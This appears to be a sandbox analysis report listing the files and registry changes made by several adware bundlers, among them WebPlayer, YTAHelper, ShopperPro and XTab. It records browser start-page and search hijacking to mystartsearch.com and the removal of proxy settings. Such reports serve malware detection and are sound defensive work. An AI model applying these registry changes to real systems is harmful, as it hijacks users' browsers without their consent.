C:\Users\"%CurrentUserName%"\AppData\Local\WebPlayer\scripts\kango\storage.js (979 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\WebPlayer\WebPlayer.exe (7533 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\WebPlayer\scripts\web_player\initialize.js (67 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\WebPlayer\common.js (8 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\WebPlayer\scripts\kango\initialize.js (66 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\WebPlayer\scripts\main.js (7 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\WebPlayer\icons\main.ico (5 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\WebPlayer\Uninstall.exe (843 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\WebPlayer\scripts\kango\jsonstorage.js (651 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\WebPlayer\scripts\config.xml (823 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\WebPlayer\scripts\kango\json.js (16 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\WebPlayer\icons\shortcut.ico (5 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nsp5E46.tmp\nsExec.dll (14 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\WebPlayer\scripts\web_player\web_player.js (1 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\WebPlayer\installer.js (11 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\WebPlayer\scripts\kango\xhr.js (4 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\WebPlayer\icons\tray.ico (5 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\WebPlayer\scripts\stub.html (680 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\WebPlayer\scripts\kango\event_listener.js (1 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\WebPlayer\scripts\kango\utils.js (3 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\WebPlayer\scripts\kango\io.js (751 bytes)

The process YTAHEL~1.EXE:1784 makes changes in the file system.
The Application creates and/or writes to the following file(s):

%Program Files% (x86)\YTAHelper\FireFox\content\YTAHelper_64.png (4 bytes)
%Program Files% (x86)\YTAHelper\FireFox\chrome.manifest (111 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nsp3EF5.tmp\MoreInfo.dll (15 bytes)
%Program Files% (x86)\YTAHelper\YTAHelper.exe (32824 bytes)
%Program Files% (x86)\YTAHelper\FireFox\install.rdf (884 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nsp3EF4.tmp (133285 bytes)
%Program Files% (x86)\YTAHelper\FireFox\content\overlay.js (13 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nsp3EF5.tmp\AccDownload.dll (11667 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nsp3EF5.tmp\nsProcess.dll (12 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nsp3EF5.tmp\System.dll (23 bytes)
%Program Files% (x86)\YTAHelper\JSDriver\jsdrv.sys (1856 bytes)
C:\Users\Public\Documents\YTAHelper\JsDriver\Config.xml (1 bytes)
%Program Files% (x86)\YTAHelper\SPRemove.exe (17848 bytes)
%Program Files% (x86)\YTAHelper\yta_database1_0_0.json (2 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nsp3EF5.tmp\jsdrv.exe (100669 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nsp3EF5.tmp\nsExec.dll (14 bytes)
%Program Files% (x86)\YTAHelper\YTAHelper.dll (15168 bytes)
%Program Files% (x86)\YTAHelper\JSDriver\jsdrv.exe (100378 bytes)
%Program Files% (x86)\YTAHelper\FireFox\content\overlay.xul (203 bytes)
%Program Files% (x86)\YTAHelper\YTAHelper64.dll (17848 bytes)
%Program Files% (x86)\YTAHelper\FireFox\content\shopperpro_128.png (5 bytes)

The process appshat_generic.exe:1808 makes changes in the file system.
The Application creates and/or writes to the following file(s):

C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nsuF7B8.tmp\appshat.exe (13188 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nsuF7B8.tmp\webplayer_installer.exe (8184 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\783GTYVS\setup[1].exe (11608 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nsuF7B8.tmp\inetc.dll (808 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\AppsHat Mobile Apps\Uninstall.exe (164 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nsuF7B7.tmp (10027 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nsuF7B8.tmp\System.dll (23 bytes)

The process DCytaiesmt_smtyc_setup.exe:320 makes changes in the file system.
The Application creates and/or writes to the following file(s):

C:\Users\"%CurrentUserName%"\AppData\Local\Temp\Install_11514\ins_postInst.exe (2815 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\Install_11514\ins_yta.exe (30675 bytes)

The process cscript.exe:4548 makes changes in the file system.
The Application creates and/or writes to the following file(s):

C:\Users\"%CurrentUserName%"\AppData\Local\WebPlayer\AppsHat\scripts\default_config.json (791 bytes)
C:\Users\"%CurrentUserName%"\Desktop\AppsHat.lnk (2 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\AppsHat\AppsHat.lnk (2 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\WebPlayer\Uninstall.exe (65 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\AppsHat\Uninstall.lnk (2 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\WebPlayer\AppsHat\scripts\config.xml (819 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\WebPlayer\AppsHat\WebPlayer.exe (204 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\ROWYV75Q\config[1].json (778 bytes)

The process spbiu.exe:5004 makes changes in the file system.
The Application creates and/or writes to the following file(s):

C:\ProgramData\ShopperPro\spbihe.js (435 bytes)

The process spbiu.exe:2632 makes changes in the file system.
The Application creates and/or writes to the following file(s):

C:\ProgramData\ShopperPro\spbihe.js (435 bytes)

The process XTab_v4.0.exe:3896 makes changes in the file system.
The Application creates and/or writes to the following file(s):

%Program Files% (x86)\XTab\web\img\googlelogo.png (7 bytes)
%Program Files% (x86)\XTab\web\js\jquery-1.11.0.min.js (4726 bytes)
%Program Files% (x86)\XTab\skin\btn.png (2 bytes)
%Program Files% (x86)\XTab\install.data (68 bytes)
%Program Files% (x86)\XTab\web\_locales\zh-CN\messages.json (3 bytes)
%Program Files% (x86)\XTab\web\_locales\en-US\messages.json (3 bytes)
%Program Files% (x86)\XTab\HPNotify.exe (18027 bytes)
%Program Files% (x86)\XTab\conf (1606 bytes)
%Program Files% (x86)\XTab\web\img\loading.gif (5 bytes)
%Program Files% (x86)\XTab\BrowerWatchFF.dll (23 bytes)
%Program Files% (x86)\XTab\web\_locales\es-419\messages.json (3 bytes)
%Program Files% (x86)\XTab\web\indexIE8.html (1816 bytes)
%Program Files% (x86)\XTab\web\js\library.js (4216 bytes)
%Program Files% (x86)\XTab\web\_locales\pt\messages.json (4 bytes)
%Program Files% (x86)\XTab\web\img\arrow.png (259 bytes)
%Program Files% (x86)\XTab\web\ver.txt (5 bytes)
%Program Files% (x86)\XTab\web\_locales\fr-BE\messages.json (3 bytes)
%Program Files% (x86)\XTab\skin\input_bk.png (2 bytes)
%Program Files% (x86)\XTab\web\_locales\pl\messages.json (3 bytes)
%Program Files% (x86)\XTab\web\_locales\it-IT\messages.json (4 bytes)
%Program Files% (x86)\XTab\skin\conf_back.png (1623 bytes)
%Program Files% (x86)\XTab\web\_locales\fr-CA\messages.json (3 bytes)
%Program Files% (x86)\XTab\web\img\weather\0.png (1 bytes)
%Program Files% (x86)\XTab\skin\btn_apply.png (6 bytes)
%Program Files% (x86)\XTab\skin\conf.xml (8 bytes)
%Program Files% (x86)\XTab\CmdShell.exe (1681 bytes)
%Program Files% (x86)\XTab\web\indexIE.html (1 bytes)
%Program Files% (x86)\XTab\web\_locales\ru-MO\messages.json (4 bytes)
%Program Files% (x86)\XTab\web\js\xagainit-ie8.js (3 bytes)
%Program Files% (x86)\XTab\skin\about_bk.png (1436 bytes)
%Program Files% (x86)\XTab\web\_locales\es-ES\messages.json (3 bytes)
%Program Files% (x86)\XTab\skin\main.xml (4 bytes)
%Program Files% (x86)\XTab\web\img\default_add_logo_hover.png (1 bytes)
%Program Files% (x86)\XTab\BrowserAction.dll (33992 bytes)
%Program Files% (x86)\XTab\skin\radio_2.png (3 bytes)
%Program Files% (x86)\XTab\msvcr110.dll (22156 bytes)
%Program Files% (x86)\XTab\searchProvider.xml (8 bytes)
%Program Files% (x86)\XTab\web\_locales\it-CH\messages.json (3 bytes)
%Program Files% (x86)\XTab\ProtectService.exe (5312 bytes)
%Program Files% (x86)\XTab\web\js\js.js (18 bytes)
%Program Files% (x86)\XTab\ffsearch_toolbar!1.0.0.1025.xpi (14 bytes)
%Program Files% (x86)\XTab\web\img\default_add_logo.png (1 bytes)
%Program Files% (x86)\XTab\skin\logo.png (5 bytes)
%Program Files% (x86)\XTab\web\js\xagainit2.0.js (3 bytes)
%Program Files% (x86)\XTab\web\data.html (20 bytes)
%Program Files% (x86)\XTab\web\js\xagainit.js (3 bytes)
%Program Files% (x86)\XTab\web\img\googlelogo2.png (1526 bytes)
%Program Files% (x86)\XTab\web\main.css (19 bytes)
%Program Files% (x86)\XTab\web\_locales\vi-VI\messages.json (4 bytes)
%Program Files% (x86)\XTab\web\_locales\ru\messages.json (4 bytes)
%Program Files% (x86)\XTab\web\img\icon48.png (3 bytes)
%Program Files% (x86)\XTab\skin\close.png (3 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nspF3A2.tmp\System.dll (23 bytes)
%Program Files% (x86)\XTab\web\img\logo32.ico (4 bytes)
%Program Files% (x86)\XTab\web\img\icon128.png (9 bytes)
%Program Files% (x86)\XTab\web\js\jquery.autocomplete.js (12 bytes)
%Program Files% (x86)\XTab\uninstall.exe (1343 bytes)
%Program Files% (x86)\XTab\skin\about.png (4 bytes)
%Program Files% (x86)\XTab\BrowerWatchCH.dll (23 bytes)
%Program Files% (x86)\XTab\web\_locales\fr-FR\messages.json (3 bytes)
%Program Files% (x86)\XTab\web\img\icon16.png (628 bytes)
%Program Files% (x86)\XTab\web\_locales\fr-CH\messages.json (3 bytes)
%Program Files% (x86)\XTab\skin\settings.png (5 bytes)
%Program Files% (x86)\XTab\web\img\default_logo.png (5 bytes)
%Program Files% (x86)\XTab\web\_locales\fr-LU\messages.json (3 bytes)
%Program Files% (x86)\XTab\web\js\ga.js (1568 bytes)
%Program Files% (x86)\XTab\web\js\common.js (2 bytes)
%Program Files% (x86)\XTab\web\_locales\tr-TR\messages.json (4 bytes)
%Program Files% (x86)\XTab\SupTab.dll (6812 bytes)
%Program Files% (x86)\XTab\web\js\ie8.js (156 bytes)
%Program Files% (x86)\XTab\IeWatchDog.dll (20 bytes)
%Program Files% (x86)\XTab\web\_locales\pt-BR\messages.json (4 bytes)
%Program Files% (x86)\XTab\web\img\google_trends.png (7 bytes)
%Program Files% (x86)\XTab\web\_locales\zh-TW\messages.json (3 bytes)
%Program Files% (x86)\XTab\skin\rigth_arrow.png (2 bytes)
%Program Files% (x86)\XTab\msvcp110.dll (17526 bytes)
%Program Files% (x86)\XTab\skin\radio_1.png (3 bytes)

The process taskeng.exe:2668 makes changes in the file system.
The Application creates and/or writes to the following file(s):

%Program Files% (x86)\ShopperPro\JSDriver\1486.0.0.0\jsdrv.exe (291 bytes)

The process ytaiesmt_smtyc_setup.exe:3916 makes changes in the file system.
The Application creates and/or writes to the following file(s):

C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nsuFDA.tmp\D1989.dll (30 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nsuFDA.tmp (4 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nsuFDA.tmp\04BB5BF911CA4097 (34773 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nsuFDA.tmp\System.dll (23 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nsuFD9.tmp (35306 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nsuFDA.tmp\NK.lky (16 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nsuFDA.tmp\DCytaiesmt_smtyc_setup.exe (380075 bytes)

The process %original file name%.exe:2944 makes changes in the file system.
The Application creates and/or writes to the following file(s):

C:\Users\"%CurrentUserName%"\AppData\Local\Temp\biclient.exe (8793 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\config.ini (97 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nsj2636.tmp (6478 bytes)

Registry activity

The process GoogleUpdate.exe:4404 makes changes in the system registry.
The Application creates and/or sets the following values in system registry:

[HKLM\SOFTWARE\Wow6432Node\Google\Update]
"IsMSIHelperRegistered" = "1"
"LastStartedAU" = "1422581460"

The Application deletes the following value(s) in system registry:

[HKLM\SOFTWARE\Wow6432Node\Google\Update]
"uid"
"old-uid"

The process GoogleUpdate.exe:3128 makes changes in the system registry.
The Application creates and/or sets the following values in system registry:

[HKLM\SOFTWARE\Wow6432Node\Google\Update\ClientState\{4DC8B4CA-1BDA-483E-B5FA-D3C12E15B62D}]
"ActivePingDayStartSec" = "1422518421"

[HKLM\SOFTWARE\Wow6432Node\Google\Update\ClientState\{4DC8B4CA-1BDA-483E-B5FA-D3C12E15B62D}\CurrentState]
"DownloadProgressPercent" = "0"

[HKLM\SOFTWARE\Wow6432Node\Google\Update\ClientState\{FDA71E6F-AC4C-4A00-8B70-9958A68906BF}]
"DayOfLastRollCall" = "2950"

[HKLM\SOFTWARE\Wow6432Node\Google\Update\ClientState\{8A69D345-D564-463C-AFF1-A69D9E530F96}]
"LastCheckSuccess" = "1422581470"
"DayOfLastRollCall" = "2950"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap]
"AutoDetect" = "1"

[HKLM\SOFTWARE\Wow6432Node\Google\Update\ClientState\{8A69D345-D564-463C-AFF1-A69D9E530F96}\CurrentState]
"StateValue" = "16"

[HKLM\SOFTWARE\Wow6432Node\Google\Update\ClientState\{FDA71E6F-AC4C-4A00-8B70-9958A68906BF}]
"RollCallDayStartSec" = "1422518421"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap]
"UNCAsIntranet" = "0"

[HKLM\SOFTWARE\Wow6432Node\Google\Update\ClientState\{4DC8B4CA-1BDA-483E-B5FA-D3C12E15B62D}]
"LastCheckSuccess" = "1422581516"

[HKLM\SOFTWARE\Wow6432Node\Google\Update\ClientState\{8A69D345-D564-463C-AFF1-A69D9E530F96}]
"RollCallDayStartSec" = "1422518421"

[HKLM\SOFTWARE\Wow6432Node\Google\Update]
"LastChecked" = "1422581470"

[HKLM\SOFTWARE\Wow6432Node\Google\Update\ClientState\{4DC8B4CA-1BDA-483E-B5FA-D3C12E15B62D}]
"pv" = "35.0.1916.153"

[HKCU\Software\Classes\Local Settings\MuiCache\2A\52C64B7E]
"LanguageList" = "en-US, en"

[HKLM\SOFTWARE\Wow6432Node\Google\Update\ClientState\{4DC8B4CA-1BDA-483E-B5FA-D3C12E15B62D}\CurrentState]
"InstallTimeRemainingMs" = "4294967295"

[HKCU\Software\Google\Update\proxy]
"source" = "auto"

[HKLM\SOFTWARE\Wow6432Node\Google\Update\ClientState\{FDA71E6F-AC4C-4A00-8B70-9958A68906BF}]
"pv" = "35.0.1916.153"

[HKLM\SOFTWARE\Wow6432Node\Google\Update\ClientState\{4DC8B4CA-1BDA-483E-B5FA-D3C12E15B62D}\CurrentState]
"DownloadTimeRemainingMs" = "4294967295"

[HKLM\SOFTWARE\Wow6432Node\Google\Update\ClientState\{8A69D345-D564-463C-AFF1-A69D9E530F96}]
"DayOfLastActivity" = "2950"

[HKLM\SOFTWARE\Wow6432Node\Google\Update\ClientState\{4DC8B4CA-1BDA-483E-B5FA-D3C12E15B62D}]
"LastInstallerResult" = "0"

[HKLM\SOFTWARE\Wow6432Node\Google\Update\ClientState\{430FD4D0-B729-4F61-AA34-91526481799D}]
"RollCallDayStartSec" = "1422518421"

[HKLM\SOFTWARE\Wow6432Node\Google\Update\ClientState\{4DC8B4CA-1BDA-483E-B5FA-D3C12E15B62D}]
"UpdateTime" = "1422581516"

[HKLM\SOFTWARE\Wow6432Node\Google\Update]
"LastInstallerResult" = "0"

[HKLM\SOFTWARE\Wow6432Node\Google\Update\ClientState\{4DC8B4CA-1BDA-483E-B5FA-D3C12E15B62D}\CurrentState]
"InstallProgressPercent" = "4294967295"

[HKLM\SOFTWARE\Wow6432Node\Google\Update\ClientState\{430FD4D0-B729-4F61-AA34-91526481799D}]
"pv" = "1.3.25.11"

[HKLM\SOFTWARE\Wow6432Node\Google\Update\ClientState\{4DC8B4CA-1BDA-483E-B5FA-D3C12E15B62D}]
"RollCallDayStartSec" = "1422518421"

[HKCU\Software\Classes\Local Settings\MuiCache\2A\52C64B7E\@%SystemRoot%\system32]
"dnsapi.dll,-103" = "Domain Name System (DNS) Server Trust"

[HKLM\SOFTWARE\Wow6432Node\Google\Update\ClientState\{8A69D345-D564-463C-AFF1-A69D9E530F96}]
"ActivePingDayStartSec" = "1422518421"

[HKLM\SOFTWARE\Wow6432Node\Google\Update\ClientState\{4DC8B4CA-1BDA-483E-B5FA-D3C12E15B62D}]
"LastInstallerError" = "2"

[HKCU\Software\Google\Update\ClientState\{4DC8B4CA-1BDA-483e-B5FA-D3C12E15B62D}]
"dr" = "0"

[HKLM\SOFTWARE\Wow6432Node\Google\Update\ClientState\{430FD4D0-B729-4F61-AA34-91526481799D}]
"LastCheckSuccess" = "1422581470"

[HKLM\SOFTWARE\Wow6432Node\Google\Update\ClientState\{FDA71E6F-AC4C-4A00-8B70-9958A68906BF}\CurrentState]
"StateValue" = "17"

[HKLM\SOFTWARE\Wow6432Node\Google\Update]
"LastInstallerError" = "2"

[HKLM\SOFTWARE\Wow6432Node\Google\Update\ClientState\{4DC8B4CA-1BDA-483E-B5FA-D3C12E15B62D}]
"UpdateAvailableCount" = "1"
"DayOfLastActivity" = "2950"
"DayOfLastRollCall" = "2950"

[HKLM\SOFTWARE\Wow6432Node\Google\Update\ClientState\{430FD4D0-B729-4F61-AA34-91526481799D}\CurrentState]
"StateValue" = "3"

[HKLM\SOFTWARE\Wow6432Node\Google\Update\ClientState\{430FD4D0-B729-4F61-AA34-91526481799D}]
"DayOfLastRollCall" = "2950"

[HKCU\Software\Google\Update\ClientState\{8A69D345-D564-463C-AFF1-A69D9E530F96}]
"dr" = "0"

[HKLM\SOFTWARE\Wow6432Node\Google\Update\ClientState\{8A69D345-D564-463C-AFF1-A69D9E530F96}]
"pv" = "35.0.1916.153"

[HKLM\SOFTWARE\Wow6432Node\Google\Update\ClientState\{4DC8B4CA-1BDA-483E-B5FA-D3C12E15B62D}\CurrentState]
"StateValue" = "5"

[HKCU\Software\Classes\Local Settings\MuiCache\2A\52C64B7E\@%SystemRoot%\system32]
"p2pcollab.dll,-8042" = "Peer to Peer Trust"

[HKLM\SOFTWARE\Wow6432Node\Google\Update\ClientState\{4DC8B4CA-1BDA-483E-B5FA-D3C12E15B62D}]
"UpdateAvailableSince" = "Type: REG_QWORD, Length: 8"

The Application deletes the following registry key(s):

[HKLM\SOFTWARE\Wow6432Node\Google\Update\ClientState\{8A69D345-D564-463C-AFF1-A69D9E530F96}\CurrentState]
[HKLM\SOFTWARE\Wow6432Node\Google\Update\ClientState\{FDA71E6F-AC4C-4A00-8B70-9958A68906BF}\CurrentState]
[HKCU\Software\Classes\Local Settings\MuiCache\29]
[HKCU\Software\Classes\Local Settings\MuiCache\29\52C64B7E]
[HKLM\SOFTWARE\Wow6432Node\Google\Update\ClientState\{430FD4D0-B729-4F61-AA34-91526481799D}\CurrentState]
[HKLM\SOFTWARE\Wow6432Node\Google\Update\ClientState\{4DC8B4CA-1BDA-483E-B5FA-D3C12E15B62D}\CurrentState]

The Application deletes the following value(s) in system registry:

[HKLM\SOFTWARE\Wow6432Node\Google\Update\ClientState\{8A69D345-D564-463C-AFF1-A69D9E530F96}]
"UpdateAvailableSince"

[HKLM\SOFTWARE\Wow6432Node\Google\Update\ClientState\{4DC8B4CA-1BDA-483E-B5FA-D3C12E15B62D}]
"LastInstallerSuccessLaunchCmdLine"

[HKLM\SOFTWARE\Wow6432Node\Google\Update]
"LastInstallerSuccessLaunchCmdLine"

[HKLM\SOFTWARE\Wow6432Node\Google\Update\ClientState\{4DC8B4CA-1BDA-483E-B5FA-D3C12E15B62D}]
"LastInstallerExtraCode1"

[HKLM\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap]
"ProxyBypass"

[HKLM\SOFTWARE\Wow6432Node\Google\Update\ClientState\{430FD4D0-B729-4F61-AA34-91526481799D}]
"UpdateAvailableCount"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap]
"ProxyBypass"

[HKLM\SOFTWARE\Wow6432Node\Google\Update]
"LastInstallerExtraCode1"
"LastInstallerResult"

[HKLM\SOFTWARE\Wow6432Node\Google\Update\ClientState\{4DC8B4CA-1BDA-483E-B5FA-D3C12E15B62D}]
"UpdateAvailableSince"

[HKLM\SOFTWARE\Wow6432Node\Google\Update]
"old-uid"

[HKLM\SOFTWARE\Wow6432Node\Google\Update\ClientState\{4DC8B4CA-1BDA-483E-B5FA-D3C12E15B62D}]
"InstallerError"
"LastInstallerResult"

[HKLM\SOFTWARE\Wow6432Node\Google\Update]
"uid"
"LastInstallerResultUIString"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap]
"IntranetName"

[HKLM\SOFTWARE\Wow6432Node\Google\Update\ClientState\{4DC8B4CA-1BDA-483E-B5FA-D3C12E15B62D}]
"iid"
"LastInstallerResultUIString"

[HKLM\SOFTWARE\Wow6432Node\Google\Update\ClientState\{8A69D345-D564-463C-AFF1-A69D9E530F96}]
"dr"

[HKLM\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap]
"IntranetName"

[HKLM\SOFTWARE\Wow6432Node\Google\Update\ClientState\{4DC8B4CA-1BDA-483E-B5FA-D3C12E15B62D}]
"LastInstallerError"

[HKLM\SOFTWARE\Wow6432Node\Google\Update\ClientState\{8A69D345-D564-463C-AFF1-A69D9E530F96}]
"UpdateAvailableCount"

[HKLM\SOFTWARE\Wow6432Node\Google\Update\ClientState\{430FD4D0-B729-4F61-AA34-91526481799D}]
"UpdateAvailableSince"

[HKLM\SOFTWARE\Wow6432Node\Google\Update]
"LastInstallerError"

[HKLM\SOFTWARE\Wow6432Node\Google\Update\ClientState\{4DC8B4CA-1BDA-483E-B5FA-D3C12E15B62D}]
"UpdateAvailableCount"

[HKLM\SOFTWARE\Wow6432Node\Google\Update\ClientState\{430FD4D0-B729-4F61-AA34-91526481799D}]
"tttoken"

[HKLM\SOFTWARE\Wow6432Node\Google\Update\ClientState\{4DC8B4CA-1BDA-483E-B5FA-D3C12E15B62D}]
"dr"
"tttoken"

[HKLM\SOFTWARE\Wow6432Node\Google\Update\ClientState\{8A69D345-D564-463C-AFF1-A69D9E530F96}]
"tttoken"

[HKLM\SOFTWARE\Wow6432Node\Google\Update\ClientState\{4DC8B4CA-1BDA-483E-B5FA-D3C12E15B62D}]
"InstallerResult"

The process GoogleUpdate.exe:4228 makes changes in the system registry.
The Application creates and/or sets the following values in system registry:

[HKCU\Software\Classes\Local Settings\MuiCache\2A\52C64B7E]
"LanguageList" = "en-US, en"

[HKCU\Software\Google\Update\proxy]
"source" = "auto"

The Application deletes the following value(s) in system registry:

[HKLM\SOFTWARE\Wow6432Node\Google\Update]
"uid"
"old-uid"

The process cmdshell.exe:2052 makes changes in the system registry.
The Application creates and/or sets the following values in system registry:

Proxy settings are disabled:

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings]
"ProxyEnable" = "0"

The Application deletes the following value(s) in system registry:

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\00-50-56-f3-c8-bd]
"WpadDetectedUrl"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap]
"ProxyBypass"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\00-50-56-f5-e5-a3]
"WpadDetectedUrl"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings]
"ProxyServer"
"ProxyOverride"
"AutoDetect"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap]
"IntranetName"

[HKLM\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap]
"ProxyBypass"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\{9C99CCBB-10A0-4B2A-A5BE-4CAC43F74632}]
"WpadDetectedUrl"

[HKLM\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap]
"IntranetName"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings]
"AutoConfigURL"

The process BaofengUpdate.exe:1160 makes changes in the system registry.
The Application creates and/or sets the following values in system registry:

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap]
"AutoDetect" = "1"
"UNCAsIntranet" = "0"

The Application deletes the following value(s) in system registry:

[HKLM\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap]
"ProxyBypass"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap]
"ProxyBypass"
"IntranetName"

[HKLM\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap]
"IntranetName"

The process BaofengUpdate.exe:3484 makes changes in the system registry.
The Application creates and/or sets the following values in system registry:

[HKCU\Software\Classes\Local Settings\MuiCache\29\52C64B7E]
"LanguageList" = "en-US, en"

[HKCU\Software\Mozilla\Extends]
"AppID" = "[email protected]"

[HKLM\SOFTWARE\Microsoft\Internet Explorer\SearchScopes]
"DefaultScope" = "{33BB0A4E-99AF-4226-BDF6-49120163DE86}"

[HKLM\SOFTWARE\Wow6432Node\Microsoft\Internet Explorer\MAIN]
"Search Page" = "http://www.mystartsearch.com/web/?type=ds&ts=1422581320&from=smt&uid=535559167_198339_B48A115F&q={searchTerms}"

[HKLM\SOFTWARE\Wow6432Node\Microsoft\Internet Explorer\SearchScopes\{33BB0A4E-99AF-4226-BDF6-49120163DE86}]
"URL" = "http://www.mystartsearch.com/web/?type=ds&ts=1422581320&from=smt&uid=535559167_198339_B48A115F&q={searchTerms}"

[HKLM\SOFTWARE\Wow6432Node\Microsoft\Internet Explorer\MAIN]
"Default_Search_URL" = "http://www.mystartsearch.com/web/?type=ds&ts=1422581320&from=smt&uid=535559167_198339_B48A115F&q={searchTerms}"

[HKLM\SOFTWARE\Clients\StartMenuInternet\FIREFOX.EXE\shell\open\command]
"(Default)" = "%Program Files% (x86)\Mozilla Firefox\firefox.exe http://www.mystartsearch.com/?type=sc&ts=1422581320&from=smt&uid=535559167_198339_B48A115F"

[HKLM\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Uninstall\mystartsearch uninstall]
"DisplayName" = "mystartsearch uninstallî¸€ï»´È¯"

[HKLM\SOFTWARE\Wow6432Node\Microsoft\Internet Explorer\SearchScopes\{33BB0A4E-99AF-4226-BDF6-49120163DE86}]
"DisplayName" = "mystartsearch"

[HKCU\Software\Microsoft\Internet Explorer\SearchScopes\{33BB0A4E-99AF-4226-BDF6-49120163DE86}]
"URL" = "http://www.mystartsearch.com/web/?type=ds&ts=1422581320&from=smt&uid=535559167_198339_B48A115F&q={searchTerms}"

[HKCU\Software\Classes\Local Settings\MuiCache\29\52C64B7E\@""%systemroot%\system32\windowspowershell\v1.0]
"powershell.exe"",-111" = "Performs object-based (command-line) functions"

[HKCU\Software\Mozilla\Extends]
"UID" = "535559167_198339_B48A115F"

[HKLM\SOFTWARE\Wow6432Node\Microsoft\Internet Explorer\MAIN]
"Start Page" = "http://www.mystartsearch.com/?type=hp&ts=1422581320&from=smt&uid=535559167_198339_B48A115F"

[HKLM\SOFTWARE\Microsoft\Internet Explorer\Main]
"Default_Search_URL" = "http://www.mystartsearch.com/web/?type=ds&ts=1422581320&from=smt&uid=535559167_198339_B48A115F&q={searchTerms}"

[HKLM\SOFTWARE\Wow6432Node\Microsoft\Internet Explorer\MAIN]
"Default_Page_URL" = "http://www.mystartsearch.com/?type=hp&ts=1422581320&from=smt&uid=535559167_198339_B48A115F"

[HKLM\SOFTWARE\Clients\StartMenuInternet\VMWAREHOSTOPEN.EXE\shell\open\command]
"(Default)" = "%Program Files%\VMware\VMware Tools\VMwareHostOpen.exe http://www.mystartsearch.com/?type=sc&ts=1422581320&from=smt&uid=535559167_198339_B48A115F"

[HKLM\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Uninstall\mystartsearch uninstall]
"UninstallString" = "C:\Users\"%CurrentUserName%"\AppData\Roaming\mystartsearch\UninstallManager.exe -ptid=smt"

[HKLM\SOFTWARE\Wow6432Node\mystartsearchSoftware\mystartsearchhp]
